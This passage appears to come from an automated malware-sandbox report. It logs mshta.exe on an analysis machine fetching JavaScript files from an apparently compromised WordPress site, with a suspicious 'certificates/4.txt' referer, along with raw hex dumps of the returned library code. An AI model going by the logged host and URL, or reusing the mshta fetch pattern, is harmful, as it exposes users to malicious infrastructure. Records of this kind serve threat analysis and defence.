89 56 7a bc 38 dc 7b f2 64 82 d3 a1 8c 06 29 79 00 5f 0c 70 1e 40 83 89 39 1b 44 8a 01 97 a8 66 e0 30 31 be 02 e1 53 86 ba cf 6c 51 f7 8e cd ca aa 35 60 6d 89 44 22 91 48 24 12 43 e9 71 e2 f0 a3 ca ca 54 93 c7 7a a5 0a 4c 01 b8 80 18 a3 0d 12 81 62 30 1f 64 50 29 03 1f 32 3c ef 4c 18 d4 bf bc d3 f7 20 91 48 24 12 89 44 d2 8e 1e 21 0e 77 57 54 e5 81 69 2e 83 ae 01 f3 38 8a 86 18 ec 08 e6 03 4c d8 ca cc eb 8f 0e ec f7 de 3c 22 35 da 5b 92 48 24 12 89 44 d2 f3 e8 b6 e2 b0 ec 48 cd 70 55 51 6f 25 60 1e 40 c3 a2 bd 1f 11 98 51 0b f0 eb 50 e8 85 71 39 19 1f 44 7b 3f 12 89 44 22 91 48 7a 0e dd 4a 1c ee 3d 79 32 c1 e1 54 e6 11 e8 07 04 14 44 7b 3f 46 c0 8c c3 20 7e 96 55 ac 1a 9f db af 2a da fb 91 48 24 12 89 44 d2 bd e9 16 e2 b0 b4 a2 36 cb ac aa f7 00 7c 17 11 a5 84 b3 96 ca 8c ea ba 66 9c a8 6d c2 e9 86 16 d4 9d b3 a3 a1 d9 85 06 bb 13 2d 2e 0f 1a 5d 1e 34 b9 3c 50 99 01 00 16 45 81 cd ac 20 c9 62 82 cd 62 42 6f 9b 15 c9 09 16 a4 24 c5 21 bd 77 02 b2 d2 12 91 de 27 01 26 25 bc b7 9a c1 6e 02 bd ac aa fc e4 f8 dc 7e 7b c3 5a 4c 22 91 48 24 12 89 24 08 5d 5a 1c 7e 5c 71 6a a8 aa d2 23 4c 7c 1b 81 cc a2 f3 99 19 47 4e 36 e0 d0 f1 7a 1c ad 39 87 6f 6a 1a f1 59 63 0b 1a 54 36 74 9f 49 44 18 9b 1c 8f dc be 49 18 98 de 0b df c9 4e 41 6e ff 64 10 e9 7b fb 19 fc 1f 52 95 47 2f cb 4d 7f cf d0 8d 4a 24 12 89 44 22 e9 f1 74 49 71 b8 eb 68 d5 60 b0 b2 8c c0 b7 89 66 1a d7 d6 b7 60 cf 81 6a 7c 59 79 06 bb ab cf a2 dc e5 89 d4 36 43 32 c8 62 c2 a5 e9 c9 b8 64 60 5f 8c fe 4e 3a fa f6 8e 17 5f 84 f9 03 62 7e 28 3f 37 73 a7 f1 3b 94 48 24 12 89 44 d2 13 e9 52 e2 70 e7 81 da 64 25 4e 7d 04 e0 9f 12 c8 aa 75 de a9 ba 66 94 7e 71 12 65 e5 b5 78 af be 29 92 5b d4 cd 94 94 04 4c c8 4d c7 c4 bc 2c a4 a7 08 0b c5 d7 19 ea 03 e3 06 66 1e 8e c4 de 24 12 89 44 22 91 f4 1c ba 8c 38 dc 5d 5e fd 7d 06 1e 23 42 9a 96 f1 0e a7 1b a5 fb 4e 62 fb d7 55 d8 5a 7b 2e d2 db 33 0c 2b 80 2b d3 7a 61 ea c8 2c 4c b8 28 13 16 b3 49 d3 3c 06 3b 01 fa a3 62 76 2d cf 1f 30 a0 39 b2 bb 94 48 24 12 89 44 d2 5d 89 79 71 b8 eb 70 cd 30 52 d4 67 41 74 85 96 f1 d5 67 9a f1 ee
                                                              Data Ascii: PNGIHDR9 IDATxy|T?;K&!$#K@nEeVl.iRk!\.(,!I!d~?fIf=wd&yW=3K~w$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$ho VlWe[@LJ*m3DpFb4Cc\{_D"H$Vz8{d)y_p@9Df01SlQ5`mD"H$CqTzLb0dP)2<L H$D!wWTi.8L<"5[H$DHpUQo%`@QPq9D{?D"HzJ=y2TD{?F ~U*H$D6|fm-.]4<PE bbBo$!w'&%n~{ZL"H$$]Z~\qj#L|GN6z9ojYcT6tIDINAnd{RG/MJ$D"tIqh`f`j|Yy6C2bd`_N:_b~(?7s;H$DRpd%N}uf~qex)[LM,f$D"8]^}#BNbUZ{.3++za,L(I<;bv-09H$D]yqp0RgAtg


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              24192.168.2.2249198187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:15.108403921 CEST1048OUTGET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:15.319904089 CEST1078INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:49 GMT
                                                              Server: Apache
                                                              ETag: "a51459-15f88-5c93d38d98e41"
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                              Content-Length: 89992
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 14880500 14779248
                                                              Age: 25
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 63 61 72 6f 75 73 65 6c 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 32 2e 33 2e 34 0a 20 2a 20 40 61 75 74 68 6f 72 20 42 61 72 74 6f 73 7a 20 57 6f 6a 63 69 65 63 68 6f 77 73 6b 69 0a 20 2a 20 40 61 75 74 68 6f 72 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 54 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4d 49 54 29 0a 20 2a 20 40 74 6f 64 6f 20 4c 61 7a 79 20 4c 6f 61 64 20 49 63 6f 6e 0a 20 2a 20 40 74 6f 64 6f 20 70 72 65 76 65 6e 74 20 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 20 62 75 62 6c 69 6e 67 0a 20 2a 20 40 74 6f 64 6f 20 69 74 65 6d 73 53 63 61 6c 65 55 70 0a 20 2a 20 40 74 6f 64 6f 20 54 65 73 74 20 5a 65 70 74 6f 0a 20 2a 20 40 74 6f 64 6f 20 73 74 61 67 65 50 61 64 64 69 6e 67 20 63 61 6c 63 75 6c 61 74 65 20 77 72 6f 6e 67 20 61 63 74 69 76 65 20 63 6c 61 73 73 65 73 0a 20 2a 2f 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 24 2c 20 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 75 6e 64 65 66 69 6e 65 64 29 20 7b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 43 72 65 61 74 65 73 20 61 20 63 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 63 6c 61 73 73 20 54 68 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 48 54 4d 4c 45 6c 65 6d 65 6e 74 7c 6a 51 75 65 72 79 7d 20 65 6c 65 6d 65 6e 74 20 2d 20 54 68 65 20 65 6c 65 6d 65 6e 74 20 74 6f 20 63 72 65 61 74 65 20 74 68 65 20 63 61 72 6f 75 73 65 6c 20 66 6f 72 2e 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 5b 6f 70 74 69 6f 6e 73 5d 20 2d 20 54 68 65 20 6f 70 74 69 6f 6e 73 0a 09 20 2a 2f 0a 09 66 75 6e 63 74 69 6f 6e 20 4f 77 6c 28 65 6c 65 6d 65 6e 74 2c 20 6f 70 74 69 6f 6e 73 29 20 7b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 73 65 74 74 69 6e 67 73 20 66 6f 72 20 74 68 65 20 63 61 72 6f 75 73 65 6c 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 73 65 74 74 69 6e 67 73 20 3d 20 6e 75 6c 6c 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 6f 70 74 69 6f 6e 73 20 73 65 74 20 62 79 20 74 68 65 20 63 61 6c 6c 65 72 20 69 6e 63 6c 75 64 69 6e 67 20 64 65 66 61 75 6c 74 73 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 6f 70 74 69 6f 6e 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 7b 7d 2c 20 4f 77
                                                              Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE *//** * Owl carousel * @version 2.3.4 * @author Bartosz Wojciechowski * @author David Deutsch * @license The MIT License (MIT) * @todo Lazy Load Icon * @todo prevent animationend bubling * @todo itemsScaleUp * @todo Test Zepto * @todo stagePadding calculate wrong active classes */;(function($, window, document, undefined) {/** * Creates a carousel. * @class The Owl Carousel. * @public * @param {HTMLElement|jQuery} element - The element to create the carousel for. * @param {Object} [options] - The options */function Owl(element, options) {/** * Current settings for the carousel. * @public */this.settings = null;/** * Current options set by the caller including defaults. * @public */this.options = $.extend({}, Ow
                                                              Aug 16, 2022 10:33:15.320081949 CEST1079INData Raw: 6c 2e 44 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 50 6c 75 67 69 6e 20 65 6c 65 6d 65 6e 74 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 24 65 6c 65 6d 65
                                                              Data Ascii: l.Defaults, options);/** * Plugin element. * @public */this.$element = $(element);/** * Proxied event handlers. * @protected */this._handlers = {};/** * References to the running plugins of this carousel.
                                                              Aug 16, 2022 10:33:15.320122004 CEST1080INData Raw: 63 74 65 64 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 5f 69 6e 76 61 6c 69 64 61 74 65 64 20 3d 20 7b 7d 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 4f 72 64 65 72 65 64 20 6c 69 73 74 20 6f 66 20 77 6f 72 6b 65 72 73 20 66 6f 72 20 74 68 65 20 75
                                                              Data Ascii: cted */this._invalidated = {};/** * Ordered list of workers for the update process. * @protected */this._pipe = [];/** * Current state information for the drag operation. * @todo #261 * @protected */thi
                                                              Aug 16, 2022 10:33:15.320164919 CEST1082INData Raw: 74 72 75 65 2c 0a 09 09 70 75 6c 6c 44 72 61 67 3a 20 74 72 75 65 2c 0a 09 09 66 72 65 65 44 72 61 67 3a 20 66 61 6c 73 65 2c 0a 0a 09 09 6d 61 72 67 69 6e 3a 20 30 2c 0a 09 09 73 74 61 67 65 50 61 64 64 69 6e 67 3a 20 30 2c 0a 0a 09 09 6d 65 72
                                                              Data Ascii: true,pullDrag: true,freeDrag: false,margin: 0,stagePadding: 0,merge: false,mergeFit: true,autoWidth: false,startPosition: 0,rtl: false,smartSpeed: 250,fluidSpeed: false,dragEndSpeed: false,responsive
                                                              Aug 16, 2022 10:33:15.320205927 CEST1083INData Raw: 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 75 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 63 61 63 68 65 29 20 7b 0a 09 09 09 63 61 63 68 65 2e 63 75 72 72 65 6e 74 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 20 26 26 20 74 68 69 73 2e 5f 69
                                                              Data Ascii: , 'settings' ],run: function(cache) {cache.current = this._items && this._items[this.relative(this._current)];}}, {filter: [ 'items', 'settings' ],run: function() {this.$stage.children('.cloned').remove();}}, {fil
                                                              Aug 16, 2022 10:33:15.320245981 CEST1085INData Raw: 09 09 09 69 74 65 6d 73 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 2c 0a 09 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2c 0a 09 09 09 09 2f 2f 20 54 4f 44 4f 3a 20 53 68 6f 75 6c 64 20 62 65 20 63 6f 6d 70 75
                                                              Data Ascii: items = this._items,settings = this.settings,// TODO: Should be computed from number of min width items in stageview = Math.max(settings.items * 2, 4),size = Math.ceil(items.length / 2) * 2,repeat = settings.loop &&
                                                              Aug 16, 2022 10:33:15.320286989 CEST1086INData Raw: 6f 72 64 69 6e 61 74 65 73 20 3d 20 63 6f 6f 72 64 69 6e 61 74 65 73 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72
                                                              Data Ascii: ordinates = coordinates;}}, {filter: [ 'width', 'items', 'settings' ],run: function() {var padding = this.settings.stagePadding,coordinates = this._coordinates,css = {'width': Math.ceil(Math.abs(coordinates[coord
                                                              Aug 16, 2022 10:33:15.320331097 CEST1087INData Raw: 5f 63 75 72 72 65 6e 74 29 29 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 70 6f 73 69 74 69 6f 6e 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 75
                                                              Data Ascii: _current));}}, {filter: [ 'width', 'position', 'items', 'settings' ],run: function() {var rtl = this.settings.rtl ? 1 : -1,padding = this.settings.stagePadding * 2,begin = this.coordinates(this.current()) + padding,
                                                              Aug 16, 2022 10:33:15.320369959 CEST1089INData Raw: 27 20 2b 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 45 6c 65 6d 65 6e 74 20 2b 20 27 3e 27 2c 20 7b 0a 09 09 09 22 63 6c 61 73 73 22 3a 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 43 6c 61 73 73 0a 09 09 7d 29 2e
                                                              Data Ascii: ' + this.settings.stageElement + '>', {"class": this.settings.stageClass}).wrap( $( '<div/>', {"class": this.settings.stageOuterClass}));// append stagethis.$element.append(this.$stage.parent());};/** * Create item
                                                              Aug 16, 2022 10:33:15.320410967 CEST1090INData Raw: 6e 74 2e 66 69 6e 64 28 27 69 6d 67 27 29 3b 0a 09 09 09 6e 65 73 74 65 64 53 65 6c 65 63 74 6f 72 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 65 73 74 65 64 49 74 65 6d 53 65 6c 65 63 74 6f 72 20 3f 20 27 2e 27 20 2b 20 74 68 69 73 2e
                                                              Data Ascii: nt.find('img');nestedSelector = this.settings.nestedItemSelector ? '.' + this.settings.nestedItemSelector : undefined;width = this.$element.children(nestedSelector).width();if (imgs.length && width <= 0) {this.preloadAutoWidt
                                                              Aug 16, 2022 10:33:15.531709909 CEST1096INData Raw: 09 09 69 66 20 28 62 72 65 61 6b 70 6f 69 6e 74 20 3c 3d 20 76 69 65 77 70 6f 72 74 20 26 26 20 62 72 65 61 6b 70 6f 69 6e 74 20 3e 20 6d 61 74 63 68 29 20 7b 0a 09 09 09 09 09 6d 61 74 63 68 20 3d 20 4e 75 6d 62 65 72 28 62 72 65 61 6b 70 6f 69
                                                              Data Ascii: if (breakpoint <= viewport && breakpoint > match) {match = Number(breakpoint);}});settings = $.extend({}, this.options, overwrites[match]);if (typeof settings.stagePadding === 'function') {settings.stagePadding =
                                                              Aug 16, 2022 10:33:15.898076057 CEST1185OUTGET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:16.109937906 CEST1198INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:52 GMT
                                                              Server: Apache
                                                              ETag: "a53560-301a-58592d4b67500"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT
                                                              Content-Length: 12314
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 14880501 21783912
                                                              Age: 23
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 3b 77 69 6e 64 6f 77 2e 4d 6f 64 65 72 6e 69 7a 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 42 28 61 29 7b 6a 2e 63 73 73 54 65 78 74 3d 61 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 42 28 6e 2e 6a 6f 69 6e 28 61 2b 22 3b 22 29 2b 28 62 7c 7c 22 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 21 7e 28 22 22 2b 61 29 2e 69 6e 64 65 78 4f 66 28 62 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 61 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 45 28 65 2c 22 2d 22 29 26 26 6a 5b 65 5d 21 3d 3d 63 29 72 65 74 75 72 6e 20 62 3d 3d 22 70 66 78 22 3f 65 3a 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 47 28 61 2c 62 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 61 29 7b 76 61 72 20 66 3d 62 5b 61 5b 65 5d 5d 3b 69 66 28 66 21 3d 3d 63 29 72 65 74 75 72 6e 20 64 3d 3d 3d 21 31 3f 61 5b 65 5d 3a 44 28 66 2c 22 66 75 6e 63 74 69 6f 6e 22 29 3f 66 2e 62 69 6e 64 28 64 7c 7c 62 29 3a 66 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 48 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 61 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 61 2e 73 6c 69 63 65 28 31 29 2c 65 3d 28 61 2b 22 20 22 2b 70 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 3b 72 65 74 75 72 6e 20 44 28 62 2c 22 73 74 72 69 6e 67 22 29 7c 7c 44 28 62 2c 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 46 28 65 2c 62 29 3a 28 65 3d 28 61 2b 22 20 22 2b 71 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 47 28 65 2c 62 2c 63 29 29 7d 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 65 2e 69 6e 70 75 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 64 3c 65 3b 64 2b 2b 29 74 5b 63 5b 64 5d 5d 3d 63 5b 64 5d 69 6e 20 6b 3b 72 65 74 75 72 6e 20 74 2e 6c 69 73 74 26 26 28 74 2e 6c 69 73 74 3d 21 21 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 61 74 61 6c 69 73 74 22 29 26 26 21 21 61 2e 48 54 4d 4c 44 61 74 61 4c 69 73 74 45 6c 65 6d 65 6e 74 29 2c 74 7d 28 22 61 75 74 6f 63 6f 6d 70 6c 65 74 65 20 61 75 74 6f 66 6f 63 75 73 20 6c 69 73 74 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 6d 61 78 20 6d 69 6e 20 6d 75 6c 74 69 70 6c 65 20 70 61 74 74 65 72 6e 20 72 65 71 75 69 72 65 64 20 73 74 65 70 22 2e 73 70 6c 69 74 28 22 20 22 29 29 2c 65 2e 69 6e 70 75 74 74 79 70 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 2c 66 2c 68 2c 69 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 69 3b 64 2b 2b 29 6b 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 66 3d 61 5b 64 5d 29 2c 65 3d 6b 2e 74 79 70 65
                                                              Data Ascii: ;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b||""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d||b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")||D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type
                                                              Aug 16, 2022 10:33:16.114603996 CEST1210OUTGET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:16.326256990 CEST1214INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:53 GMT
                                                              Server: Apache
                                                              ETag: "a534b4-1b97-58592d4796c00"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:20 GMT
                                                              Content-Length: 7063
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 14880502 21783914
                                                              Age: 23
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 64 6f 63 75 6d 65 6e 74 20 72 65 61 64 79 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 42 6c 6f 67 20 6d 61 73 6f 6e 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 69 66 28 6a 51 75 65 72 79 28 27 62 6f 64 79 2e 62 6c 6f 67 27 29 5b 30 5d 29 7b 0a 09 09 76 61 72 20 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 69 73 6f 74 6f 70 65 27 29 3b 0a 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 6d 61 67 65 73 4c 6f 61 64 65 64 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 7b 0a 09 09 09 09 69 74 65 6d 53 65 6c 65 63 74 6f 72 20 3a 20 27 2e 70 6f 73 74 5f 77 72 61 70 70 65 72 27 2c 0a 09 09 09 09 68 69 64 64 65 6e 43 6c 61 73 73 20 3a 20 27 68 69 64 64 65 6e 27 2c 0a 09 09 09 09 72 65 73 69 7a 61 62 6c 65 20 3a 20 74 72 75 65 2c 0a 09 09 09 09 74 72 61 6e 73 66 6f 72 6d 73 45 6e 61 62 6c 65 64 20 3a 20 66 61 6c 73 65 2c 0a 09 09 09 09 6c 61 79 6f 75 74 4d 6f 64 65 3a 20 27 6d 61 73 6f 6e 72 79 27 0a 09 09 09 7d 29 2e 62 69 6e 64 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 27 72 65 4c 61 79 6f 75 74 27 29 3b 0a 09 09 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 29 2e 63 73 73 28 7b 27 76 69 73 69 62 69 6c 69 74 79 27 3a 27 76 69 73 69 62 6c 65 27 7d 29 3b 0a 09 09 7d 29 3b 0a 09 7d 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 43 61 6c 6c 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 